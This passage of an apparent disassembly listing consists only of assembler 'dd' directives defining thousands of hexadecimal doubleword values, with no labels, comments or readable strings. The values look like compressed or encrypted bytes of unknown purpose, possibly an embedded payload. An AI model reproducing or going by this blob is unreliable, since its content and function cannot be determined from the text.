		dd 4104C36h, 0BC9BC100h, 22CD0F14h, 7ED6A00h, 0C9766075h
		dd 8FA00EFh, 6B16389Bh
		dd 0B014377Fh, 809591h,	0D70A88F7h, 3AA037Bh, 0FFFDD1F5h
		dd 0A0C35520h, 89F23A8h, 9A6CC91Dh, 0EF2A4C80h,	8B0A58h
		dd 0E0384B02h, 80534198h, 0FD6EF902h, 3334705h,	539C3EADh
		dd 38B53C20h, 0BDBE2483h, 0E492008Ch, 1B9F7832h, 8644A607h
		dd 0B0309661h, 3FB4AACFh, 0CD030AA0h, 0EDA6AD68h, 0C528A0A4h
		dd 0AE000E7Eh, 0EFD82AC3h, 9576E3h, 0C93C63CBh,	0D7583E1Fh
		dd 15E6FD00h, 0FCFFBFEDh, 26F300F7h, 44BB6CEFh,	6780ED4h
		dd 0BC59A5Ch, 89AD58A3h, 46F700E7h, 1649009h, 0C5B6323Fh
		dd 8EBC6528h, 0D0F1B0h,	0A2A67731h, 198CFA1Bh, 7841DCBBh
		dd 5D9A8F58h, 52648171h, 0C07B9716h, 0B15A0C91h, 2711C460h
		dd 0E2A9F7B6h, 79C100D7h, 94A2D871h, 0BDEEDF9Dh, 933B1200h
		dd 615FB6FFh, 0AFF0248Bh, 97F700E4h, 2C5D3F7Fh,	446ADA0Bh
		dd 0A7BC8033h, 0B8FC3BBCh, 0BF4F0091h, 0CF7D3D80h, 0EB6F953Ah
		dd 0C56BA0B8h, 0F3B206h, 5DEDB44Bh, 5463B898h, 0C253A400h
		dd 7680ACB0h, 0E7123344h, 9D983564h, 9E4CA0DAh,	741C4CA2h
		dd 8C00A098h, 8A516C88h, 7F4C25h, 58F355FDh, 799BB80Eh
		dd 0F2BDB900h, 0A7DEB4C3h, 3E709DECh, 0EF73BA00h, 0FF99A370h
		dd 39ED0E1Ch, 0E5009F45h, 0B5F4B9D6h, 0A1472E00h, 0F288FDC1h
		dd 930D00BAh, 57C2DB17h, 787C419Eh, 485D8100h, 6F5B582Eh
		dd 83D600E0h, 69928FCDh, 61007AF0h, 59FAC256h, 0EA0C11h
		dd 0CEC098F3h, 8D368C7Eh, 0B8E05E00h, 506227CBh, 5AEB07CAh
		dd 0F0D5CD69h, 9729BCB6h, 300088EEh, 65233AEFh,	2D7F25h
		dd 0B14C5F73h, 8007D1CEh, 46008E7Ah, 0FA70F59Ch, 4C71FB2Eh
		dd 0CE005CA3h, 0B8F7FDF1h, 0A62E632Dh, 0F300DD10h, 0AE5BC549h
		dd 0A2A32C77h, 0CAFD00F3h, 0DE1B7F2Bh, 1FC47D1Ch, 39D80381h
		dd 24DCC7E8h, 0EFA90072h, 3E6CA727h, 3D00CC6Ah,	0C2127509h
		dd 1FADD72Eh, 40FF4C1Bh, 0BDEB06DFh, 4213ED39h,	9A009C74h
		dd 6035E497h, 34F23Ch, 0B9011FDh, 8DC985BCh, 80E7A13Dh
		dd 69CD252Fh, 5643277h,	1A892907h, 0F6163Eh, 0CC7D6DECh
		dd 0DC09877Fh, 604F0AEBh, 485E1Ch, 1C8F8231h, 0E14BDED8h
		dd 6E3FB501h, 0E4B46DECh, 6074C2Ch, 0C009176Ah,	80D2AE93h
		dd 0F61B4C37h, 64C0D1C4h, 77AB7013h, 151A039Dh,	0FFAA4006h
		dd 7AFC6AC0h, 0FC0D7624h, 8B0ED080h, 0C9CB3607h, 80003526h
		dd 0FA5D339Bh, 7244A3Bh, 9ACD310h, 5C2F5F00h, 0F442E95h
		dd 91033865h, 0FD7353A6h, 0E73F9790h, 3241921Eh, 13780340h
		dd 487548F9h, 9C50C61Ah, 49CA000Dh, 0BC184067h,	0D8B0FDE8h
		dd 3C106D00h, 9FF5C97Dh, 0A06F0114h, 168EDC7Ch,	9911E8D4h
		dd 3B108D0Eh, 0A9756074h, 36D070h, 76B1B535h, 0A20F1E38h
		dd 0D33B0600h, 5E4D688h, 253700ACh, 0CD9DC703h,	34002085h
		dd 9024F04Dh, 4F1DE2h, 53F85DB8h, 9FC7E40Bh, 36005C98h
		dd 7362AD61h, 0FE81CD6Dh, 638C1E50h, 90EB0740h,	5C479005h
		dd 0DB025188h, 0BFBD52CFh, 86084175h, 0E83AF9DBh, 0FA613DECh
		dd 0AB400013h, 48AD18CBh, 3B17CD41h, 43005064h,	20860EFEh
		dd 0AC9717BAh, 0D214415Ah, 2021BF9Ah, 49003EEEh, 62D054Eh
		dd 611BDDAFh, 1847762Fh, 1F70C812h, 0F127E190h,	61508097h
		dd 52F28CCh, 73372354h,	0E20C90CDh, 0D0022D4h, 0B899BCEAh
		dd 0FB73170h, 0C49CECEBh, 844A00F2h, 3C03CF80h,	2E9D4500h
		dd 3E78AB2Dh, 0DDB60652h, 5E6CADBDh, 2902BE00h,	6481A508h
		dd 5E5D030Eh, 51C72FFh,	0B2DD0CFh, 7D0223A9h, 0D40A0665h
		dd 123B600Ch, 79D63D48h, 0F7D0EE03h, 78C02DA1h,	5A001F09h
		dd 0C5838602h, 11D11F4h, 56B042ECh, 9F207DEDh, 4DD3A428h
		dd 680F8200h, 0AA60Eh, 3D376158h, 3A1077F8h, 7100397Bh
		dd 56D97232h, 220C3Eh, 0B90B8B27h, 709A8359h, 0C7776D00h
		dd 0FD56341Eh, 0B187017Eh, 9180B943h, 0F3CDDDFEh, 0F8118087h
		dd 360159C4h, 3B69C0BAh, 87706AE4h, 305B0090h, 7F4AAAB5h
		dd 0E7009907h, 66E97994h, 0E46C0D9h, 272B3A82h,	60F8C240h
		dd 7FE05F77h, 6D1298A8h, 0EAD8AD00h, 0BCFA0C27h, 25B11E9Ch
		dd 0C0013FF3h, 0EA883C2h, 70F4F096h, 9700E57Dh,	0DE84061Bh
		dd 98FA1Eh, 0B90F0412h,	4B20CB7Dh, 0F474DC00h, 910EB16Bh
		dd 0A2230007h, 0E6EEF313h, 6F005729h, 0CA1B623Dh, 33CC91Fh
		dd 454B403Fh, 0C5A0FC8Fh, 0EE00D434h, 24862D5h,	0F5E98Eh
		dd 98514047h, 0D69D35EAh, 4BBF7E00h, 0B2382C1Eh, 0D5B11E2Bh
		dd 0E4038097h, 1558918Eh, 4BFE9A03h, 986336CBh,	7C739590h
		dd 7E74E43Dh, 0F2F40F9Fh, 0AB6381BDh, 0B78864DDh, 0DA0760A0h
		dd 0F74A44CFh, 171E45D0h, 0AA7514h, 7E519EB8h, 0E72EA625h
		dd 8207AEF0h, 939F4D3Bh, 56C05915h, 0C60717h, 4EB144A8h
		dd 76714702h, 89C540C7h, 5ADA0500h, 0BCCC09EEh,	4400DF48h
		dd 0D985225Eh, 19301800h, 7E53064Fh, 9FA714F3h,	0A000D496h
		dd 2909BB3Eh, 387FEA6Fh, 3C00D9F4h, 0ED588087h,	25018Eh
		dd 50182EE4h, 2A34667Dh, 0E755CF05h, 0C4404445h, 41118C9Ah
		dd 8A70A8h, 158B9D30h, 39934647h, 0D5983100h, 0A0ECA5A9h
		dd 0D2ED1E81h, 0F7690C3Ch, 8A80DA11h, 0E02289C4h, 5B0042DEh
		dd 30908F05h, 0F04B5E1Bh, 2A8900FAh, 44833B29h,	6D001999h
		dd 85DC9390h, 929F02E5h, 0F51B3E40h, 8BAA500h, 863226E1h
		dd 2B29211Ch, 6809B00Ch, 6CAB0964h, 0BC0E3565h,	50CB10Ah
		dd 5C85E38Dh, 2A788090h, 0BAF82824h, 3986C600h,	7E6D5255h
		dd 44A11D08h, 30758064h, 4A20F948h, 51BFFB00h, 9A992B53h
		dd 0C9450005h, 0EF1F44B2h, 1800D856h, 0FBCAEC2Eh, 133658Bh
		dd 4DE6C6F6h, 0E7792A53h, 481792Bh, 6250CDF0h, 0FA510A3h
		dd 6AD8B2E0h, 25ED1200h, 0AB6E913Eh, 83E01F1Fh,	9DEC09DEh
		dd 0C79FB287h, 412FC1A1h, 0B586F0DAh, 293A4A0Ch, 0C495965h
		dd 75AB778Ch, 0A5220A50h, 950D0E24h, 28981804h,	71287867h
		dd 197C946Ch, 702E1101h, 3DFF218Fh, 30E20C0h, 2771DDB3h
		dd 0B914931Fh, 30607279h, 0E0C3D1E6h, 59256028h, 741732DAh
		dd 7A217F01h, 1A0E3E8Fh, 40AD7048h, 9A73F965h, 0C5FAE501h
		dd 9749F051h, 3DFE891h,	0F3952AABh, 5C0AB86Dh, 4405EE09h
		dd 4D15236Bh, 804C8476h, 6B9650F3h, 0A3083A74h,	0A926F19Bh
		dd 7328E1A8h, 1E0694A4h, 20270422h, 89ED0CA8h, 17386EBFh
		dd 0E1C7EC3Eh, 0F61BB119h, 5D854F07h, 0FA940124h, 70962C75h
		dd 4E0C2517h, 0D84134EEh, 705160CAh, 9340EA4Fh,	0FC11E0A2h
		dd 789CF033h, 61118A63h, 66838D4Ah, 0CD99F40h, 0C09F08D0h
		dd 4A42CB21h, 0E019616Dh, 0DC499505h, 0A20970h,	0AD86FB5Bh
		dd 0EF294482h, 0E4FF9D07h, 9EB15973h, 908198ACh, 0CCDEA084h
		dd 2E84500Ah, 44394A25h, 706506A4h, 60085C8Dh, 2DCF2131h
		dd 0F384E4Ah, 5E378009h, 4D28A652h, 2B6E0FDh, 0FE868A0Bh
		dd 30844254h, 4A3260DFh, 4CA42347h, 0C8003B11h,	2A464A3Ah
		dd 8703401Eh, 59AB0178h, 60210020h, 0E38171Ch, 5400C3C7h
		dd 0A32DBBF2h, 12794A9Ch, 1F912E2h, 0F0DA5860h,	0B8410374h
		dd 1615BC39h, 8FEB23h, 0D2FEC2F6h, 7400C443h, 49F54411h
		dd 0D91B82h, 8A68D063h,	337DF346h, 670FA000h, 83F6EA80h
		dd 0EA4B7EF2h, 2E60EB5h, 0C03EE7B4h, 0F3D3182Ah, 47003467h
		dd 0E3E29B4Ch, 77F8E68h, 58B2F18Bh, 520570A4h, 9034AA5h
		dd 0C89D6D6Bh, 2F0CB002h
		dd 0C2CD1639h, 363A0FC0h, 0EDEE9300h, 6505C73Dh, 66CAF29Bh
		dd 16427B80h, 0B2C0058h, 0AA97DA78h, 463864E7h,	59778041h
		dd 0C2DCF214h, 0CC10C14Bh, 0D025ABCBh, 0EE0C7142h, 486EAD7Dh
		dd 7CE40362h, 773E89FEh, 415182E0h, 71506803h, 53DEE9h
		dd 9732F508h, 0F88F528Ah, 77683500h, 60BBB64Dh,	0BF70014Bh
		dd 0E2642A38h, 424980AAh, 4AE96898h, 0BED60081h, 19CBD2Dh
		dd 39F86B52h, 0E8B5DD00h, 3FF2600Ch, 0F8B3876h,	9A53C601h
		dd 0A94EDCh, 37F2427Fh,	90A102F4h, 7AFA78CAh, 6A48AD00h
		dd 3ABC4D8h, 67183C8Ch,	3E684E00h, 739939CCh, 0D07CDE00h
		dd 40050EE1h, 93470031h, 0E5CF7B80h, 0D975C2B0h, 0C1A5B400h
		dd 0B364FF9Bh, 9CB0647h, 8333EC5h, 0FE219361h, 442064C7h
		dd 6B2F2B5h, 0F5CD78D9h, 8A0120BBh, 59272E15h, 0B07A3558h
		dd 2978A0EAh, 0FFA17A00h, 2D552C78h, 86C31547h,	68B84075h
		dd 2770DA1Dh, 356BD800h, 0CEACBF7h, 97535CBAh, 731D8458h
		dd 7E6A7Dh, 0B4BC3D39h,	180DC04Fh, 0B0C1A48Ch, 911FB305h
		dd 0B09C3AFAh, 3D84324Fh, 0E7217B59h, 325590CCh, 65506F40h
		dd 7121A526h, 0DF853B4Bh, 5381D680h, 26D1F1CEh,	64B0A51Ch
		dd 0A9429B1h, 607D6C4h,	37D365ECh, 0B86008E9h, 0AC2F721h
		dd 7AA001ACh, 0A27F42EDh, 0F6B5C407h, 84BA1301h, 0AED921ABh
		dd 937C7087h, 0B0E6102Bh, 87317F80h, 70D8F0E7h,	9DD4CCh
		dd 0E4A35F52h, 8E83F967h, 0C7FD500h, 0DFBD3F0Ah, 0FE770739h
		dd 0A07E7931h, 62F2B4CEh, 85A5D403h, 0D133F66Dh, 11A1A638h
		dd 918A5004h, 0D510AF67h, 93BF08E0h, 9ACF00F9h,	674EFB64h
		dd 0AB00C83Fh, 0B2A94A8Ah, 62EAD5A4h, 9E6B2909h, 29DF0C2Bh
		dd 0B9228426h, 9D6722FCh, 42A03C22h, 10311122h,	22288328h
		dd 0BE22C7C0h, 1443503Eh, 0A6B0887Fh, 73789C7Bh, 5B6DE81Fh
		dd 9144A5C0h, 777CBDCBh, 0E9FCA8h, 5DE5E0FFh, 93375C8Fh
		dd 0DE2D0500h, 3CA25446h, 0FAAC0066h, 4032AF04h, 5009181h
		dd 2C2288DAh, 11ACE0Eh,	44A01F4Dh, 0D499270Ch, 93A8134h
		dd 40C600D8h, 0E1DAE0C2h, 2F5C0061h, 7C4F3829h,	687711C9h
		dd 5E0B9F00h, 477CC95h,	0E77F0365h, 2B3D1DD3h, 9E4D76A8h
		dd 714C000h, 3BCBAC05h,	33C26E5h, 39FE0059h, 84F91626h
		dd 0BFA8D8A0h, 0B0382E24h, 0F4C78000h, 3B097A61h, 5CAF2DF5h
		dd 0A703AFF0h, 0EDA0ADECh, 7664908Dh, 0F140E329h, 90E7BAACh
		dd 3C25F258h, 800C0C1h,	0BF1A123Ch, 0A90CE8B1h,	0A0DDDE80h
		dd 38487F35h, 504C8DD9h, 40595112h, 90C1571Ch, 5800ECE5h
		dd 0C35F398Fh, 0D3E035h, 1F332AA3h, 6E192F01h, 1EB839h
		dd 0B2AC1CA2h, 70A3931Ah, 63680062h, 0F81D448h,	8F00C524h
		dd 45C625A1h, 7838C3Fh,	0DA7A425Dh, 27D1304Ch, 0DE03F78Bh
		dd 0E1AF343Eh, 2EFE88BEh, 50E035h, 81CDFD5Fh, 5515081Ah
		dd 0DFFF6401h, 2B1F6C90h, 74327C70h, 611407CCh,	82C06Ah
		dd 0CD238770h, 0EB4BF700h, 0A33E7418h, 0C9340001h, 0D4F3BF1Eh
		dd 2D1CCC53h, 0AE009DFEh, 3DD9E71Ah, 0E92F00BAh, 57C89E29h
		dd 6C14E20Dh, 1E8CEE77h, 28800167h, 0A5E096ECh,	586B0072h
		dd 745A4987h, 1C305FD4h, 0BDB82466h, 5B250735h,	50E9CB9Ah
		dd 7A2E3EB6h, 0E401FEFCh, 67E7BC96h, 4820DE48h,	47A30072h
		dd 1A228653h, 1113F4A5h, 3D00FA92h, 0BF458B26h,	0DE8001Dh
		dd 90054F18h, 0D500C9AAh, 6361A566h, 2CD3F55Dh,	7445A5Fh
		dd 0F075A119h, 2B846CD7h, 20C6A730h, 50403C59h,	3B06DCE2h
		dd 6A0068B6h, 0ED03E073h, 0C648AA69h, 1B3A0024h, 0A3355F54h
		dd 8E073FBAh, 0F5BFAC00h, 0B19EC1F0h, 57034802h, 682F1B65h
		dd 1B146338h, 61A4C78Dh, 0A9E644A8h, 547C92EAh,	0F9B6D400h
		dd 3B9E457Bh, 69CC007Fh, 7C2D1699h, 753CF00Ah, 0A8DC31F4h
		dd 0DECC844Ah, 691F0061h, 0C2B62D88h, 88A021F9h, 7E3A244Bh
		dd 4DFC00FFh, 904AA205h, 0CC9A02EBh, 0BF7BE33Ah, 2792E5C0h
		dd 16A1BA00h, 0D2EC9645h, 3FFFAC2h, 5C68977Bh, 1AD88D84h
		dd 14F2F9B2h, 1C000490h, 3F2BC54Bh, 737F2F7h, 60CF1358h
		dd 26456249h, 0EFCD8BE0h, 0E70020EAh, 1B98FB2Dh, 0ADCABFCh
		dd 35DA3EF7h, 22803A88h, 93FA5FFEh, 4F0FFBEAh, 178EF51Bh
		dd 668DA0h, 7F8CFF21h, 22DB0F56h, 3A6D9507h, 0D487BEAAh
		dd 0F870F6h, 7AC823B3h,	0C41ED29Dh, 0DDEDA9FEh,	212C40C1h
		dd 0D509B814h, 1BB7EB71h, 0D8DFA3DCh, 0FCF96Eh,	0B93E53F5h
		dd 677CBAEEh, 186025Ch,	9368CC6h, 0A8CB40DAh, 7F7ED587h
		dd 0FD1D13C9h, 79A42039h, 17000F92h, 5EB6F5FBh,	1FB7C0A6h
		dd 0C2963BACh, 347EF04Ah, 0AA32D140h, 82D32C3Eh, 0A8C6C1F1h
		dd 308B409Dh, 4F410012h, 1E227C2h, 2B0069ECh, 0DB94D19Bh
		dd 2C8DFB48h, 7AE667h, 322FAACFh, 0E000BEB7h, 0E13D6330h
		dd 0A6EDF3h, 4681853Ch,	0B5751C29h, 0BBC4000h, 6AC46710h
		dd 0CCCCF974h, 1DC077Eh, 0C0345B77h, 0BA814DE7h, 63EFE21Dh
		dd 0AE10E598h, 4BDB0F87h, 0EBA024D9h, 5626F0E0h, 0EA410500h
		dd 0F50311FDh, 37360CACh, 0C1901943h, 0F728A400h, 2A690829h
		dd 0F8263A06h, 0ABDDE500h, 4D45CA6h, 7F23B800h,	0FDDF65ACh
		dd 0D951001Eh, 0CD6466D0h, 2B3B9AEDh, 0CBF60105h, 8369D8E3h
		dd 30620CD0h, 0F4C04FBFh, 7600C806h, 61C29EDFh,	1D3DC997h
		dd 807F59E3h, 24EDB122h, 430C3458h, 10AF6E47h, 5679008Bh
		dd 0D13EE659h, 7A0319F5h, 0BED8B47Fh, 1FF4B86Eh, 0A38B050Ah
		dd 8051DACAh, 0FA4CA6A7h, 0B2B31400h, 2723707Fh, 6FB102B5h
		dd 12815CFFh, 44B9E441h, 9B38C0F3h, 0D090F542h,	14542300h
		dd 7B6860EDh, 7005079Fh, 0D4B61DB2h, 0C5E8803Ah, 1B054841h
		dd 969A6C5Ch, 0ACCADFC1h, 0AB3060h, 4B12865Dh, 0DE911A2Bh
		dd 0E3EC6400h, 2E632278h, 0EE7A00D3h, 16FECF09h, 0BD1224B1h
		dd 0AA005F8Fh, 722DAC3Ah, 318400B5h, 489A3429h,	8B00C3B8h
		dd 705847D5h, 7EEAB1Ah,	5C23DCD3h, 7A0C63BAh, 5B0672C0h
		dd 61FFD112h, 0E60A7400h, 13AB694h, 55410CBBh, 0FC170735h
		dd 0D27DFF56h, 80B87939h, 0B4FB5AC7h, 1F6490h, 24E8204Eh
		dd 5272A751h, 943AAD2Eh, 4834B400h, 73032122h, 0B89549D3h
		dd 78804Ch, 0AF58B22Eh,	0B6288AC3h, 1B0ED67Dh, 2699C6h
		dd 68D0E65h, 0DE4F0035h, 20CB3FA3h, 47009C6Fh, 1D9E9D94h
		dd 58625177h, 0B20368BBh, 0F8711CBh, 0B56A4980h, 0D9A69F13h
		dd 780DC407h, 0BF36A491h, 71AF9E0h, 0C58A714Bh,	0D5D600BAh
		dd 93005F4Dh, 59CCB952h, 127F42A6h, 0B09510C6h,	1800D334h
		dd 0F18F4072h, 5005791Ah, 0F9850h, 3A1241C1h, 6EE352F3h
		dd 0B1CE5B00h, 93A1298Ah, 73F8E9h, 705DD560h, 4ED87E31h
		dd 0C72630C0h, 221D83h,	5B9F0308h, 678C6440h, 9CC5F300h
		dd 926B65ABh, 74A6003Dh, 7949BF59h, 7C1E6F9Dh, 0B4C0D350h
		dd 3DC572AFh, 0B7EAF0h,	38E52D4h, 0DF236808h, 0B5B9FC00h
		dd 3C019BFEh, 469300BEh, 3D1E51C7h, 0D003EE2h, 0F4F67CC9h
		dd 5368B1h, 8AA2BFE0h, 0BA2DA4A0h, 32567E09h, 39CD005Bh
		dd 128E89CDh, 1FEA87EBh, 83651F94h, 0ACA1489Ch,	5C4F8690h
		dd 0B60035F6h, 1183A0B1h, 38B4552Ah, 76D18Fh, 667FFB87h
		dd 2F05CD38h, 2260E605h, 90C039C1h, 0B004BDDFh,	4C9E12FCh
		dd 0C71421F3h, 1800C7E3h, 9B955621h, 0A46723h, 64CEF63Ah
		dd 28B477Eh, 89CBB00h
		dd 2E1A3205h, 946C00C9h, 1776ADA8h, 3900D8F7h, 471E5C27h
		dd 36EDA7h, 0CA520D97h,	0CDFE0A9h, 63167703h, 3A2D7DCEh
		dd 9C1F0169h, 0C0E45E10h, 0D5ACB073h, 80009030h, 0D9503D75h
		dd 383BA4B3h, 8580B90Dh, 0D517C1F4h, 770057F3h,	0C87C3D76h
		dd 298846Dh, 0B0471346h, 44585336h, 48D03A2Eh, 0ED548880h
		dd 0FAE5C97Dh, 303F05A9h, 804A8216h, 755BE11Ch,	0B15CC4F6h
		dd 29555038h, 0F8508E00h, 622E301Ch, 955E0EE7h,	7C403B8Bh
		dd 0F085A0C3h, 9D014F79h, 2F7BC877h, 6430AEF2h,	896E0076h
		dd 0AF15C25Ch, 4F005086h, 8135B1C0h, 0F7A0429Dh, 43474h
		dd 0EC9733A7h, 0BA74630Bh, 66038F01h, 7C0C8565h, 552B4F0h
		dd 28271783h, 18B8009Bh, 0D02C4ED2h, 67374C01h,	5CD781E8h
		dd 12F93C4h, 0F120B70Bh, 0C0B2C968h, 0BB002BC1h, 386CCEB5h
		dd 274A71h, 0C05C1978h,	0B9BD2346h, 1600BFFCh, 5FEDA618h
		dd 30804E3h, 3FFEF462h,	71982E7Bh, 6000C88h, 18176809h
		dd 9647F802h, 8F8A0020h, 287B3558h, 0DD1E3F00h,	0C95E9232h
		dd 8FA5882Ch, 2BEFD30h,	0E23EA0CEh, 55A8A0E2h, 12DE78CCh
		dd 0C090BA82h, 43AC7220h, 30D4C600h, 33BB0C01h,	0F5B31613h
		dd 3A380028h, 0F2F31FE5h, 0C7491100h, 72D697D2h, 0BCF91294h
		dd 68D809B1h, 5B200001h, 0D1B8939Eh, 40DFD027h,	0AE1F17CAh
		dd 0C69800F7h, 0D813C575h, 1C029252h, 821ACD86h, 7CA940EAh
		dd 848302C4h, 2E884A07h, 5FCC44C0h, 3978A902h, 4009F040h
		dd 0B8945E2Dh, 0A42EE5Ch, 76B34BFFh, 0E30300C8h, 580CFA07h
		dd 89862700h, 5AF56E6Fh, 1C9C98A7h, 0C0BE2F31h,	9C1438B2h
		dd 0C550562Eh, 3B12AF81h, 74C029EDh, 0F0F531h, 0C906DBCCh
		dd 4202C21h, 0B4079EA0h, 2B0231E6h, 0D09D6702h,	339C6044h
		dd 0FB67F90h, 63A15F84h, 0DC2C620h, 0B93EB5F6h,	1A8C80BAh
		dd 0E83BB867h, 34D21777h, 4E430C0h, 43000629h, 0E47DD59Bh
		dd 0B87B65h, 0E14FD3E3h, 6BD076EFh, 0D103C804h,	7C80B01Eh
		dd 0BBE543Dh, 0CEE6959Bh, 970CE403h, 0F4A0ACA8h, 3A004A72h
		dd 0D00D0F32h, 17EED3BBh, 59567h, 0E8A6E08Bh, 5F183B96h
		dd 0A348F4B8h, 78370081h, 6622019Fh, 5CF08CBFh,	0D4917700h
		dd 0C7E5A057h, 448B48AFh, 0C0CA0300h, 0F706CF05h, 0E97C4860h
		dd 0DEBB38h, 990D53F9h,	0D73E02E7h, 0B328190Fh,	40BCA04Ch
		dd 8D2280h, 4B08F7B8h, 4A6B4169h, 0B35A413h, 5008C13h
		dd 54E15150h, 0FDE909D1h, 0C180B3EBh, 0E515AB02h, 0E07E9F01h
		dd 1C22047h, 90FBB770h,	1B380077h, 0A2BC4076h, 3D001CC8h
		dd 85A31A16h, 9055CF2Fh, 0DDCE1CD0h, 64239E26h,	0CA150460h
		dd 987B096Dh, 1FF9DC60h, 0C402C97Ch, 81FD42CCh,	608779A0h
		dd 0A512C2BBh, 98C03F64h, 38C0B79Ah, 21402E07h,	90318544h
		dd 18110084h, 0FB58F4CBh, 0D01CC6FFh, 14C05E80h, 0AC77BFDEh
		dd 0E71B009Ch, 4AAAA631h, 0C0058690h, 0A4AD32EAh, 788A38C1h
		dd 94C1FE44h, 69201237h, 397A7EE0h, 1889FF6Eh, 0C689168h
		dd 7900E8A4h, 783C632Ah, 30804BF1h, 5DD060FDh, 425CA8FFh
		dd 876D0058h, 0DDACDFCEh, 9FEE0013h, 0EDDCBF91h, 0A9127AE1h
		dd 3400F07Ch, 13A6DB5Eh, 0AFF31D9Ch, 0F1C300CEh, 0A7CA04F4h
		dd 17BEEB01h, 7242A1C5h, 0C44AE4h, 5A6AB8C8h, 96B1D668h
		dd 0E43A8F02h, 0D0D18948h, 0FD631F5Ch, 0DE14DDC5h, 106A0059h
		dd 601BE5C6h, 6C0234F0h, 0D972F0FEh, 7D7E602Bh,	70A2009Eh
		dd 5AD48074h, 5B01A5F2h, 0BA4DEFA0h, 0C42465D6h, 9EA2002Fh
		dd 0BF41D909h, 51008DF3h, 582D1D8Bh, 1913814h, 0CC27F76h
		dd 80AC4E6Dh, 522811E0h, 2C121B64h, 3FA85984h, 4FCC319Dh
		dd 6F441FFDh, 71308018h, 0A28AF77h, 5100FCAEh, 0CDC91B68h
		dd 4CDC1517h, 9000A82Ah, 0E28CB8D3h, 0B112BF1Dh, 3040A213h
		dd 0D7D2981Eh, 41872FCh, 0ECC5FAFFh, 19EF8052h,	0A200889Bh
		dd 0A78A6594h, 13407EB7h, 1EA4F4Ch, 0B9933E88h,	9F8405Ch
		dd 0C700B2D8h, 24A22BAEh, 0E08380h, 395C9443h, 325B89B1h
		dd 0F3A67400h, 56140DD3h, 0EC8600C9h, 20ADD592h, 6900D70Ch
		dd 0A107B82h, 58BE9106h, 761D0FF5h, 0A1CD0098h,	5324F61Eh
		dd 88355Ch, 574B733Bh, 3F030126h, 1501D3F7h, 0B80C81DAh
		dd 0CBFFC89Dh, 5A5BEA00h, 4BD75872h, 6ED21FD8h,	863600F4h
		dd 0AA67B461h, 208CF48h, 1633516h, 0C06504A6h, 0ECEEDD7Ch
		dd 1C717D3Ch, 0BD85E8C2h, 87803733h, 24D6C4h, 0D043318Ah
		dd 1AF6951Fh, 0D7EC6B00h, 0FDCA320Ch, 0E73D01B3h, 6D0E9245h
		dd 27082047h, 7F65A02h,	0E8E3448Eh, 1D1018h, 0DB0F05FBh
		dd 0F83DCE3Bh, 2F4D3A04h, 0F8C02A2Bh, 47DF9Dh, 59744809h
		dd 35F17F8Eh, 61BDED50h, 440B7200h, 368B8956h, 3DC225D9h
		dd 0C676C400h, 0B748A6B2h, 0DC80001Bh, 58202AD0h, 903C60FDh
		dd 0DE64E094h, 9642A207h, 10C1B2F0h, 0CE310CB9h, 3B2E2620h
		dd 770027EDh, 0E481A068h, 611C6F2Ah, 8DBDC6CBh,	262F294Dh
		dd 7FE8C4E5h, 0A8300E47h, 0BC44CE1Ch, 742AC0C8h, 3B030E4Fh
		dd 257D807Ch, 9541A8A0h, 1BC40034h, 0EDDE866Bh,	0B000B9E3h
		dd 9A1E35E8h, 1682428Eh, 2122A01Ah, 6CBB81E0h, 50A70F18h
		dd 0D2B7E02Bh, 0E696C79Fh, 0AE43D20h, 72A10482h, 0FFC0EF86h
		dd 0A0500B26h, 0D5F41008h, 9B79DE00h, 35DFD1D4h, 365312CAh
		dd 66CF096Dh, 68A554C0h, 2EA2550Bh, 2D2087B0h, 81ED8ECEh
		dd 0BA62FA89h, 51388984h, 101C906Ch, 0C1079A0Bh, 0D99A3C2h
		dd 0E7A74BA3h, 6C10D386h, 33101459h, 1A0F67F0h,	0EFFBD6h
		dd 540544F7h, 0C489AA2h, 0ECC99B59h, 701E948h, 0D1902517h
		dd 96FC4BDDh, 0F97F2Bh,	0A6AEFDFAh, 0A0D52EB0h,	4F02A104h
		dd 2F202C05h, 0E01FC9BBh, 5394CC2Eh, 0E9B4660Ch, 79A4EAE9h
		dd 428D3803h, 0EF80AF3Bh, 2E12D2E7h, 5709A76h, 0BF001077h
		dd 0A06CA793h, 89D68Dh,	473FCCCEh, 9BFAE015h, 35C4AB00h
		dd 53E484D4h, 71F500FBh, 0AD0AC1BEh, 3301B480h,	48142E75h
		dd 6AFC03E0h, 4CFC00D6h, 0BA2DAA8h, 90076857h, 2FE3AF13h
		dd 0D3DE7750h, 0EB61E76Ch, 0F6B8A0C2h, 44FFE0h,	8C71BF18h
		dd 0A562BB5Eh, 4096D9C0h, 2157836h, 2BFFE0Ah, 141E01Fh
		dd 31CB6050h, 81565E1Eh, 0DDAB7945h, 0B40FC4C0h, 844E2A95h
		dd 28FAF088h, 30811CC4h, 2B79AECFh, 0C9FC7FB7h,	20303Fh
		dd 2407416Ah, 1FB3F3BBh, 4004C826h, 174D9751h, 0B018DEEFh
		dd 4699D9B6h, 0EAEB005Dh, 280545E1h, 0ABE878F7h, 1197261Fh
		dd 0A1EC07C3h, 0B0BDC37Dh, 2F4D116h, 0F6A47134h, 85013930h
		dd 0EC48A362h, 184000B6h, 3B4B2B9Ch, 0A9CFB83Ch, 7D0F25h
		dd 0B1B3E9CEh, 0FAF2008Fh, 6834AAFEh, 675F3FBh,	0D60B28A1h
		dd 81139A00h, 0F9AB1F95h, 69D718B1h, 0AF07557Eh, 0BDEB1EAEh
		dd 887FB6B3h, 1C3B32C8h, 832DA279h, 0A47E5565h,	301E6888h
		dd 0B188E300h, 9F0A17D2h, 67DA0181h, 8A9ED16Bh,	8348D452h
		dd 0FEEB9D00h, 7E075EB4h, 0ED0C2C4Bh, 59AC3BE9h, 0BFDA009Dh
		dd 0E07671D0h, 18EBC03h, 0F06B856Dh, 2B2D2Fh, 6A0D6E78h
		dd 0DD94E3BFh, 3DF90500h, 7DC0010Fh, 0ADE500AEh, 0A99D6D0Ah
		dd 0E30097B1h, 172EBDB8h, 55086Fh, 95D0F0E2h, 809E2B4Bh
		dd 3D410B00h, 0A6CA77D4h, 82A750E1h, 4290A4h, 0E2B389A5h
		dd 7A2988E8h, 0BA8B6900h, 0E4F1BB49h, 6FA201E1h, 0C2EA01Dh
		dd 0B327600Ah, 0DC00D870h
		dd 93D651D5h, 6DFC69h, 649D6A25h, 0F1141DD2h, 4450E500h
		dd 154FE3D7h, 0D6F4ADh,	0DDB5F202h, 36D477D8h, 81AC8F01h
		dd 0FD99D25Fh, 9E5B40D2h, 3C1802DAh, 3EBE03A7h,	0CE76AC83h
		dd 19C07DE2h, 0D61861E4h, 0B9188827h, 0CE4EC7EDh, 0A3176056h
